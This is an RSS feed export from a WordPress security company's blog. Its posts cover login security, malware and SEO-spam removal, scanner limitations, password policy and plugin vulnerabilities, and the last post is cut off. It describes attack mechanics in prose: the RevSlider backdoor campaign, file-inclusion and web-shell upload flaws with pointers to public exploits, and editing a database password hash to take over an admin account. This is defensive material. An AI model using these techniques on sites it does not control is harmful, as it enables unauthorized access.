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	<title>malware &#8211; WordPress Security Blog</title>
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		<title>Regarding the Issue of WordPress Security Measures Being Overly Focused on Login Protection</title>
		<link>https://blog.website-malware-removal.com/10895</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 01:47:45 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10895</guid>

					<description><![CDATA[I’d like to discuss the issue that security measures for many WordPress sites tend to focus too much on protecting the login process. Are you focusing too much on securing the WordPress login screen? WordFence has reported the following causes of WordPress hacking: https://www.wordfence.com/blog/2016/03/attackers-gain-access-wordpress-sites/ 1st: Plugin vulnerabilities—nearly 60% 2nd: Login page breaches (brute-force attacks)—nearly 20% 3rd: Vulnerabilities in WordPress core files—nearly 10% 4th: Theme vulnerabilities—around 5 percent— 5th: Hosting server vulnerabilities—around 5 percent— These statistics align with our own experience, as we frequently find that clients have vulnerable plugins installed when we perform malware removal on their WordPress sites. The probability of the login screen being compromised is less than 20% Based on these statistics, the probability of the login screen being compromised and WordPress being hacked is less than 20%. Furthermore, since a brute-force attack is a method that attempts to guess the correct password by systematically trying common passwords one after another, a brute-force attack will generally fail if you use a strong password(a password of 12 characters or more containing a random mix of alphanumeric characters and symbols), a brute-force attack will not succeed. For this reason, the most important security measure for WordPress is not so much securing the login screen, but rather addressing vulnerabilities in WordPress plugins and core files. *You can also use plugins to scan for and remove WordPress vulnerabilities and malware. We highly recommend using them. [Free] WordPress: Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal] Currently, many websites focus their efforts on strengthening login page security However, security measures for WordPress sites are often limited to changing the login page URL, implementing CAPTCHA, or enabling two-factor authentication (2FA). Since many site owners feel secure just by implementing these measures, it is common for their sites to become infected with malware. While login screen security measures are not a waste of effort, it is even more important to constantly monitor for vulnerabilities. If a major vulnerability is found in a plugin or other component, taking immediate action—such as updating it—will ensure your site can be operated safely for the long term. You can also check for high-risk plugins and WordPress Core vulnerabilities here. We hope this information is helpful.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10895</post-id>	</item>
		<item>
		<title>Steps to Regain Administrator Privileges After the Person in Charge of a WordPress Site Outsourced to a Production Company Has Resigned or Closed Their Business</title>
		<link>https://blog.website-malware-removal.com/10890</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 01 Jul 2026 01:38:49 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10890</guid>

					<description><![CDATA[Here’s a guide on how to regain administrator privileges after the person in charge of your WordPress site—which you had outsourced to a production company—has resigned or gone out of business. Unable to Update Plugins, etc., Due to Lack of WordPress Administrator Permissions When a WordPress development company delivers a site, they may provide the site operator with a user account that only allows editing and adding posts and static pages—to prevent accidental updates or bugs. (This account lacks the permissions to update or add/modify plugins.) However, it’s common for the development company to go out of business or for the person in charge to leave, making it difficult to log in with stronger permissions (permissions to update WordPress itself, plugins, or themes). This can lead to vulnerabilities being left unaddressed, resulting in malware infections, the inability to use new features, or the inability to update PHP(because the plugins are outdated and do not support the new PHP version). Enabling Login with Administrator Privileges In this case, the quickest solution is to upload database access software to the server, manually change the administrator password, and then log in as an administrator. Upload the PHP program above to the server using an FTP client, access it, and enter the database connection settings stored in WordPress’s `wp-config.php` file to log in to the database. Open the table with the prefix _users (usually wp_users). Create a password for the administrator user (typically created by the development company), hash it using MD5, and save it. This will allow you to log in as this user. *Generally, the administrator user has an ID of 1. You can verify whether this user actually has administrator privileges by checking the wp_usermeta table for the following entry under user_id 1 (the user’s ID): wp_capabilities a:1:{s:13:&#8221;administrator&#8221;;b:1;} If you are able to log in to a site that hasn’t been updated for a long time, we also recommend running a malware scan and vulnerability assessment. [Free] WordPress: Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal] What if you still can’t log in with administrator privileges? If you are unable to log in as an administrator, or if you can log in but cannot update plugins, it may be because code restricting functionality has been added to the theme’s `functions.php` file, or because a permission-restriction plugin is limiting your access.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10890</post-id>	</item>
		<item>
		<title>The Site Looks Normal, but Search Results Are Flooded with Product Pages and Chinese Text—Detecting and Completely Removing SEO Spam</title>
		<link>https://blog.website-malware-removal.com/10886</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 01:22:59 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[index.php]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10886</guid>

					<description><![CDATA[The site looks normal, but search results are flooded with product pages or appear in Chinese—here’s an explanation of how to detect and completely remove SEO spam. What Is SEO Spam? If the Google search results for your company’s WordPress site are filled with a large number of unfamiliar product pages or pages in Chinese, and clicking on those links leads to your company’s domain (even if they eventually redirect to another site, this still counts as SEO spam), it is highly likely that your site has been tampered with through a hacking attack known as SEO spam. The specific methods hackers use for SEO spam are as follows: ・Hackers exploit vulnerabilities in your site to gain permissions that allow them to overwrite databases, content, sitemaps, and other elements on your server. ・Hackers place unauthorized content on the site, alter sitemaps, or embed unauthorized links and forced redirection code into pages, causing search engines to mistake these for legitimate pages and index them ・Search results become contaminated with fraudulent pages. ・If users accidentally purchase products, their credit card information may be leaked, or they may download viruses, potentially leading to secondary damage. How do you remove SEO spam? To remove SEO spam, you must inspect and remove the compromised parts of your WordPress site. The following files are commonly compromised: index.php Theme’s index.php wp-config.php Theme’s functions.php Theme’s header.php However, other files may also be compromised, and in many cases, hackers may have installed a “backdoor”—a type of file that allows them to freely alter server content—deep within the system. Since manually opening and inspecting each file one by one is not practical, we recommend using a dedicated plugin to comprehensively scan and remove malware from all files on your site. [Free] WordPress: Malware Scan &#038; Security Plugin [Malware &#038; Virus Detection and Removal] After removal, how long does it take for the contaminated search results to disappear and return to normal? If the tampering has been completely removed, the contamination in most search results is often cleared within one week to one month. However, this depends on how frequently Google crawls the site, so it is difficult to predict the exact timeframe. Based on our experience, registering a new, cleaned-up sitemap via Search Console does not seem to significantly affect this process. However, if only a few malicious pages appear in search results, setting those pages to be excluded from search rankings via Search Console may cause them to disappear somewhat faster. To temporarily remove pages from search results via Search Console (URL Removal Tool) ・Log in to Search Console (search.google.com/search-console) ・Select “Indexing” → “Removal” from the left menu ・Click “New Request” ・Enter the target URL in the “Temporary Removal” tab ・Click “Next” → “Submit” to complete the process The page will be hidden from search results for approximately 6 months. If you want to permanently exclude it, the page itself must no longer exist. After removing malware, you must patch the vulnerabilities Once you’ve removed the hacker’s tampering, you must first patch the vulnerability that allowed the hacker to gain access. [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10886</post-id>	</item>
		<item>
		<title>Slider Revolution (RevSlider) case study shows the real risk of &#8220;plug-ins that are out of license or have been moved to paid for&#8221;.</title>
		<link>https://blog.website-malware-removal.com/10849</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 29 May 2026 01:24:48 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10849</guid>

					<description><![CDATA[Slider Revolution (RevSlider) case study will explain the risks of &#8220;plug-ins that are out of license or have been moved to paid&#8221; and how to deal with vulnerabilities of such plug-ins. What is the Slider Revolution (RevSlider) case? The RevSlider incident was an incident in which &#8220;more than 100,000 sites were infected, even though the vulnerability fix patch for Slider Revolution had long been available. The licensing and update mechanism was a structural problem that increased the damage. The attack first looked for a vulnerable file in RevSlider and obtained wp-config.php. It was a multi-stage attack that then uploaded a malicious program to the site, planted a &#8220;Filesman&#8221; backdoor, and then altered swfobject.js to inject malware that redirected visitors to soaksoak.ru (a rogue site) on every page. The infected sites could not be fixed simply by removing the plug-ins, but had to deal with multiple backdoors and the RevSlider vulnerability at the same time, making the incident notoriously difficult to clean up. Why were 100,000 sites infected when the vulnerabilities had already been fixed? Because RevSlider was a paid-for plugin, only users who purchased the plugin directly could receive automatic updates on their WordPress dashboard. In some cases, site administrators were not even aware that the plugin was installed if they were using RevSlider in the form of a theme bundled with it, and they did not receive automatic update notifications. Users who continued to use the plugin before it was paid for and could not update it, or who did not activate it and could not update it, were also affected. Vulnerability Countermeasures for Unlicensed or Expired Paid Plug-ins To prevent vulnerabilities, including plug-ins, we recommend that you always check for vulnerabilities in plug-ins, which account for 60-70% of all WordPress hacks. Plugin Vulnerability Search System Plugin Vulnerability Check If you have not yet activated your license, we recommend that you activate your license and update it. If the vulnerability is in a plugin that is difficult to update, the best thing to do is to stop and remove the plugin, but this may be difficult if the plugin is used as a site feature. How to deal with vulnerabilities in plug-ins that cannot be updated or removed, but are critical to the functionality of the site If the vulnerability is in a plugin that performs an important function of the site and cannot be updated or removed, the vulnerability can be fixed by examining the characteristics of the vulnerability and directly modifying the program to close the vulnerability. If you directly edit the program of a plugin, the edited part may be lost in subsequent updates. Vulnerability characteristics may be disclosed in the form of a PoC (Proof of Concept). Examples WordPress Plugin Slider REvolution 4.1.4 &#8211; Arbitrary File Download In some cases, the programmers who found the vulnerability may have disclosed the patch program. We will use this information to directly close the vulnerability. However, this may require advanced security and programming skills, and we recommend that you consult with an experienced engineer.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10849</post-id>	</item>
		<item>
		<title>Why WordPress shows &#8220;No Anomaly&#8221; even though it has been tampered with &#8211; explained in terms of the characteristics of file monitoring plugins, malware detection plugins, and WordPress malware.</title>
		<link>https://blog.website-malware-removal.com/10842</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 26 May 2026 01:32:19 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10842</guid>

					<description><![CDATA[We will explain why WordPress has been tampered with but various tests show &#8216;nothing abnormal&#8217;. Why file diff plugin shows no abnormalities in malware detection plugins even though malware infection is obvious. There are cases where a site has obvious malware symptoms (*) and is determined to be tampered with by Google search or online inspections such as Sucuri, but the difference detection plug-in or the malware inspection plug-in shows no abnormalities. Typical malware symptoms include the following &#8211; When accessing the site, the user is automatically redirected to another site. &#8211; Logging in to the administration panel or certain pages become inaccessible with a 403 error. &#8211; A large number of malicious pages are being trapped in Google searches. &#8211; Unauthorized users are being added to the site. &#8211; A large number of spam mails are sent out. etc. 1 Reasons for no abnormality with the Difference Detection Plug-in There is a type of security plugin that records and monitors changes in WordPress program files. However, since WordPress rewrites a huge number of files through updates, the number of such files may be inflated and even those containing malware may be classified in the white list, or tampering may have slipped through the filter of the differences to be detected. Some malware may add a large number of new lines and embed the tampering at the bottom so that the tampering is not apparent at first glance, in order to prevent detection by these difference detection plug-ins. Also, in general, this type of plug-in does not detect database changes. Although it is a small percentage, malware may be embedded in the database. 2 Reasons why malware scanning and detection plug-ins show no abnormalities WordPress malware (tampering) differs from computer viruses in that there are so many varieties of its code. New varieties of WordPress malware are actively being created, and there are also many types of malware that randomly change the code obfuscation process and the way the code is written for each site, even for the same malicious activity. For this reason, malware scanning and detection plug-ins may not be able to keep up with detection patterns for such new types of malware or malware with unprecedented types of obfuscation. Keep your malware detection patterns up-to-date Malware detection plug-ins may be updated with the latest malware patterns with each update. It is also common for the latest malware detection patterns to be available for a fee. Typical Malware Detection Plug-ins Wordfence WP Doctor Malware scanner Pro: Malware scanner and security plugin Anti-Malware Security and Brute-Force Firewall We also recommend that you keep your plug-ins up-to-date and purchase the latest malware detection patterns if they are available for a fee. Limitations of Online Malware Detection Sites Online malware detection sites detect the resulting code generated by malware (tampering), so unlike WordPress plug-ins that perform internal inspection, they often cannot detect the tampered files themselves. For this reason, the accuracy and number of detections are much lower. We recommend that you use not only an online scanner, but also a malware scanning [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10842</post-id>	</item>
		<item>
		<title>A WordPress site you are maintaining may be infected with malware. We will explain how to respond to this situation.</title>
		<link>https://blog.website-malware-removal.com/10836</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 20 May 2026 01:42:32 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[index.php]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10836</guid>

					<description><![CDATA[We will explain various aspects of how to respond when a WordPress site you are maintaining is discovered to be infected with malware by a client. What is the initial response when a malware infection of a maintained site is suspected based on a notification from a client or a suggestion from a site user? In this case, the first thing to do is to ascertain the status of malware infection. Typical symptoms of a malware-infected site will be as follows &#8211; When you access the site, you are redirected to another site. &#8211; Logging in is no longer possible (403 error on the login screen). &#8211; Many invalid pages are registered in the search results. &#8211; Browser turns red and warns of malware infection &#8211; Unrecognized spam mails are sent from the same domain in large quantities. &#8211; An administrator user is added to the system that I don&#8217;t remember adding. If you are experiencing any of these symptoms, there is a high possibility that you are infected with malware. We use a malware scanning mechanism to examine the site. Use an online malware inspection system or a plug-in to inspect the site for malware. Online Malware Screens https://sitecheck.sucuri.net/ Malware scanning with plug-ins WP Doctor Malware Scanner Pro Mechanical malware scans (especially online malware scans) have limited detection power. We recommend that you do not declare to your clients that they do not have malware just because your malware scan did not find any malware. In fact, there have been cases where the cause was a new type of malware infection, and the site became inaccessible due to the spread of the malware infection without taking countermeasures, resulting in compensation for damages. It is better to clearly identify the cause of the site problems that the client is pointing out and then politely inform the client that malware is not the cause of the symptoms, so that there will be fewer problems later. FTP connection to check for malicious files on the server Connect to the server with FTP software to check for malicious files or tampering with legitimate files. Typical malicious files include the following (1) index.php file contains obfuscated strings (2) htaccess has writings that prohibit access to the php file (3) A php file with a random alphanumeric name (4) There is a file with a name slightly changed from the name of the regular file such as wp-confiq.php. (5) Files with the same name, such as moon.php, are written in various folders (even outside the public directory), and the contents of these files contain obfuscated code. What to do if you are sure that your site has been infected with malware If we discover that a site is infected with malware, we will notify the client and inform them of what to do and how long it will take to restore the site. The basic measures to be taken when a site is infected with malware are as follows &#8211; Remove the malware infection &#8211; Remove the vulnerability that allowed hackers to enter the site &#8211; Provide [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10836</post-id>	</item>
		<item>
		<title>How to automatically prevent WordPress htaccess and index.php from being rewritten by malware with a security plugin</title>
		<link>https://blog.website-malware-removal.com/10820</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 07 May 2026 01:26:30 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[index.php]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10820</guid>

					<description><![CDATA[We will explain how to use a security plugin to automatically prevent WordPress htaccess and index.php from being rewritten by malware. Prevent malware (hackers) from automatically rewriting htaccess and index.php When infected with malware, hackers may rewrite index.php and htaccess. Even if this rewriting is removed, it may revert immediately. We will explain how to prevent the rewriting of index.php and htaccess by hackers using plug-ins. First, download, install, and activate a security plugin that protects htaccess and index.php. Free WordPress:Malware Scanning &#038; Security Plugin [Malware and Virus Detection and Removal]. In the WordPress admin page, go to Malware Scan→Security tab→Repair and protect .htaccess and index.php Turn on the checkbox for the function and save the settings. Cautions Please make sure that index.php and htaccess are not already infected with malware. If they are infected and you protect them, they will be automatically protected forever in the infected state. Please make sure that there is only the initial code as shown below, or the security and SEO posts. Initial code of index.php &#60;?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; Initial code of .htaccess # BEGIN WordPress &#60;IfModule mod_rewrite.c&#62; RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &#60;/IfModule&#62; # END WordPress The WP DOctor plugin also has a function to initialize and protect index.php and htaccess that have already been tampered with. If your index.php or htaccess has already been tampered with, please use this function! How WP Doctor plugin protects index.php and htaccess automatically This page explains how WP Doctor plugin automatically protects index.php and htaccess. 1 Start of protection Malware infecting processes, etc. with malicious code in an infinite loop rewrites index.php and htaccess at high speed. For this reason, this plug-in rewrites index.php and htaccess up to several hundred times in a row to make sure that they are properly saved with the protected code, and starts protection the moment the code is properly protected. 2 Change the permissions to those that are difficult to rewrite. Next, the plugin changes index.php and htaccess to write permissions that do not allow rewriting of the files. This will make it difficult for malware to rewrite the files. 3 Always monitor index.php and htaccess for rewrites Each time the site is accessed (each time WordPress is initialized), it is compared to the protected content code stored in the database and monitored to see if any rewriting of index.php or htaccess has occurred. If rewriting has occurred, rewrite index.php or htaccess and repeat the process 1 and 2 to protect it again. Should the automatic protection of index.php and htaccess always be enabled? This function compares the code in index.php and htaccess with [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10820</post-id>	</item>
		<item>
		<title>The nature of the discrepancy between WordFence saying &#8220;no problem&#8221; and Google Search Console issuing a malware warning.</title>
		<link>https://blog.website-malware-removal.com/10814</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 01:59:01 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10814</guid>

					<description><![CDATA[WordFence says &#8220;no problem&#8221; even though the site is infected with malware, and Google Search Console is giving a malware warning. Or conversely, we will explain the discrepancy where WordFence detects malware and Search Console and Safe Browsing show no problem. Why do different malware detection sites give different results? Reason 1: Internal and external inspections may detect different malware. WordPress malware may differ greatly in the malicious code that is inserted when the site is rendered and the malware itself that generates the code. This is because obfuscation, which is often applied to the malware itself, has the effect of hiding the malicious code it outputs. External checking programs such as Google and Sucuri detect malicious code generated by malware externally, while plugins such as WordFence detect malware by inspecting the internal code of WordPress. This may cause the results to be skewed. In general, internal checks are more accurate in detecting the malware itself. However, as we will discuss later, malware is increasing every day, so malware detection patterns may not keep up, and external checks such as Google and Sucuri may detect malware before the internal checks do. Reason 2: Extremely Diverse Malware Malware infecting WordPress is much more diverse than PC viruses. The code obfuscation process changes from site to site, and the content of the malicious code may change. For this reason, various malware detection plug-ins vary greatly in detection power and the malware they can detect. If possible, it may be better to use a plug-in with high malware detection power, or to use multiple malware detection plug-ins for malware inspection only, to improve detection accuracy. Please also use our malware scanning plug-ins, which contain tens of thousands of malware detection patterns. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Reason 3: Malware that manifests itself only under specific conditions Some malware only manifests itself when accessed via Google, or only when accessed by a smartphone, or some malicious code hides itself during external inspection. For this reason, depending on the service, the results of external inspections may not detect the malware, or the malware may be detected, resulting in a large discrepancy in the inspection results. Reason 4: False positives The first time Google Search Console issues a malware warning, malware is almost certainly detected in many cases. (It is highly accurate.) However, once detected, Google&#8217;s test results are sometimes not easily determined to be malware-free, even after malware disinfection. It is reported that even if you simply place HTML, it may still be detected, so there is a possibility that some cache is being retested and it is being detected incorrectly. In this case, you may need to reapply through the search console and carefully explain what work you did when you reapplied and that the malware symptoms have disappeared.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10814</post-id>	</item>
		<item>
		<title>Latest password policy for using WordPress with multiple administrators and editors (contributors).</title>
		<link>https://blog.website-malware-removal.com/10800</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 31 Mar 2026 01:26:28 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10800</guid>

					<description><![CDATA[We will explain the latest password policy (how to determine a unified password) when using WordPress with multiple administrators and editors (contributors). How to determine WordPress passwords, password policy The way passwords are determined has changed over time. Until a few years ago, periodic password changes were recommended, but now it is believed that once a strong password is created, it does not need to be changed, and double authentication is also becoming more popular. Current Recommended Password Policies Length Priority Minimum 12-16 characters. Length is the most important factor for security. Passphrase A combination of words such as correct-horse-battery-staple is effective Change only when a leak is suspected. Change only if you suspect a leak. Unnecessary forced change is counterproductive. Combination of 2FA and MFA (multi-factor authentication) Reduce reliance on single passwords Use of password managers Manage long, random passwords without using them repeatedly for each service. Match against compromised lists Match against databases such as Have I Been Pwned and block In the case of WordPress, the use of passwords similar to user IDs is also a major cause of hacking. For this reason, we recommend that you do not use passwords that contain a string of characters that includes your user ID! Why is it not necessary to change my password on a regular basis? When people are told that they must change their password every 90 days, many try to keep it to a minimum so that it is easy to remember. Here is a typical pattern we have observed in practice Sakura2024! → Sakura2025! → Sakura2026! What is the use of a password manager? The idea here is to have the application remember complex passwords, rather than having a human remember them. Browsers have a function to record passwords, but this is a password manager. There is also software that encrypts and stores passwords, such as https://keepass.info/. What is a check against a compromised list? Hackers also use the list of compromised passwords in a brute force attack to enforce login. This means that even if the passwords are long enough and random enough, the compromised passwords will not be used. One site to check for compromised passwords is https://haveibeenpwned.com/ and others. What happens if my WordPress password is weak? It is said that 20% of WordPress sites are hacked and tampered with due to weak passwords, which can lead to the loss of administrative privileges. Hackers use a list of commonly used passwords and mechanically repeat login enforcement thousands and thousands of times to try to log in. This is called a brute force attack. Please use the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal], a security plugin that can detect and suppress brute force attacks. It is important that you use an appropriate password policy to prevent such brute force attacks and reduce the possibility of WordPress hacking.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10800</post-id>	</item>
		<item>
		<title>Why is it compromised even though the plug-ins are up-to-date &#8211; vulnerability created by &#8220;obsolete plug-ins&#8221;?</title>
		<link>https://blog.website-malware-removal.com/10786</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 23 Mar 2026 01:49:47 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10786</guid>

					<description><![CDATA[We will explain why plug-ins can be compromised even if they are up-to-date &#8211; vulnerabilities created by &#8220;obsolete plug-ins&#8221; based on the attack patterns we have detected. There is a possibility of malware infection even though all plug-ins are up-to-date! Even if all plug-ins are up-to-date, you may be infected with malware through other sites on the server, or through vulnerabilities in obsolete plug-ins (which are not updated). In this article, we will explain the dangers of obsolete plug-ins. Obsolete plug-ins are not updated and appear to be up-to-date from the plugin management screen. Even if you are using WordPress and update your plugins for security reasons, they may appear to be up-to-date in the plugin management screen, even though they are no longer under development by their creator and have not been updated for a long period of time. (The official wordpres.org site has also stopped distributing the plugin, so automatic updates will not be applied). If such a plugin is installed on a site and a major vulnerability is discovered, the vulnerability will be left in place for a long time afterwards, increasing the likelihood that it will one day be hacked by hackers. (Although rare, plugins with a large number of installations may be subject to emergency security updates by wordpress.org or volunteers.) The following are examples of suspended plugins that we have detected as targets of hacker attacks 1. MyPixs (version 0.3 or lower) CVE: CVE-2015-1000012 Type: LFI (local file inclusion) Severity: CVSS 7.5 (High) Typical WPScan LFI vulnerability in downloadpage.php where the value of $_REQUEST[&#8220;url&#8221;] is directly passed to include(), which reads arbitrary files on the server without authentication. wp-config.php and other confidential files. No patch and development has been stopped, so immediate removal is recommended. 2. Phee&#8217;s LinkPreview (version 1.6.7 and below) CVE: CVE-2024-13464 (XSS), CVE-2025-27344 (CSRF) Type: XSS CSRF Severity: CVSS 4.3 (Medium) XSS (CVE-2024-13464) and CSRF (CVE-2025-27344) have been reported, both of which are in SolidWP status with no patch available. CSRF is a Patchstack that may allow attackers to force highly privileged users to perform unintended operations. Patchstack, a relatively new vulnerability (reported in 2024-2025), which is still left unfixed at this time. 3. WP Mobile Detector (version 3.5 and below) CVE: CVE-2016-4833 Type: Arbitrary file upload → RCE (remote code execution) Severity: Critical Astra Security can remotely upload arbitrary files to a web server by exploiting the resize.php script, allowing it to function as a web shell (backdoor) and hijack the server. CISA has also issued an advisory CISA. 4. Site Import (version 1.0.1 or lower) Type: RFI (remote file inclusion) + LFI (local file inclusion) AcunetixRFI vulnerability that allows an attacker to include and execute external malicious PHP files due to insufficient input value validation for the url parameter in admin/page.php. PoC (proof-of-concept code) is also available, which allows remote shell upload and Exploit-DB, which has been proven to both upload remote shells and read local files via directory traversal; no patch to fix and removed from official repositories. Prevents vulnerability attacks on deprecated plugins. The only way to prevent vulnerability [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10786</post-id>	</item>
		<item>
		<title>What to do if you install 2FA or other security plugins for WordPress and can no longer log in yourself.</title>
		<link>https://blog.website-malware-removal.com/10780</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 16 Mar 2026 01:31:27 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10780</guid>

					<description><![CDATA[This section explains what to do if you have installed 2FA or other security plugins for WordPress and can no longer log in yourself. If you have installed a security plugin that prevents you from logging in, and you are unable to log in yourself If you use security plug-ins such as two-factor authentication (2FA), login lockdown, or change the URL of the administration screen, you may experience several login failures and your IP address may be rejected, or you may not be able to log in yourself because the URL of the login screen is no longer known. If you have any questions, please feel free to contact us. If you are blocked by the login lockdown, you may be able to log in again in a few hours, depending on the security plugin&#8217;s time limit setting. In this case, we will explain two ways to get logged in again. 1 Rewrite database information In many cases, security plugin settings are written in the database. Upload database browsing software such as Adminer to your server, connect to the database based on the database connection information in wp-config.php, and view or change the settings in the following way. Find out where to change the database login URL. If you are unsure of the login URL, search the option_name and option_value columns of the wp_option table for strings such as &#8220;login&#8221; to find the corresponding record, as the URL to change is often recorded in the wp_option table. Rewriting IPs for login lockdown You may be able to remove the login lockdown by rewriting the record of the target IP address. Check your IP, search the wp-option table or the database table created by the security plugin with this IP, and see if it is a record of a lockdown IP, and then change the IP number recorded in the database to avoid the login lockdown. Then you can avoid the login lockdown by changing one of the IP numbers in the database. 2 Disable the plugin A simpler method is to temporarily disable the relevant security plugin, log in, and then re-enable the plugin after logging in and rewrite the security plugin settings, etc. If you connect to the server using FTP software and rename the folder wp-content/plugins/security plugins by adding _ to the folder name, the plugin may be disabled and you will be able to log in. Default WordPress login URL https://wordpress url/wp-login.php Some security plugins 